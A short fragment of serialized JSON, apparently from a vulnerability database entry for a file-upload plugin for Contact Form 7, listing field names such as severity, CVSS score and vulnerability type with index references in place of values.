e-upload-for-contact-form-7\u002Ftags\u002F1.1.0\u002F",[],[375],{"id":33,"url_slug":34,"title":35,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":6}]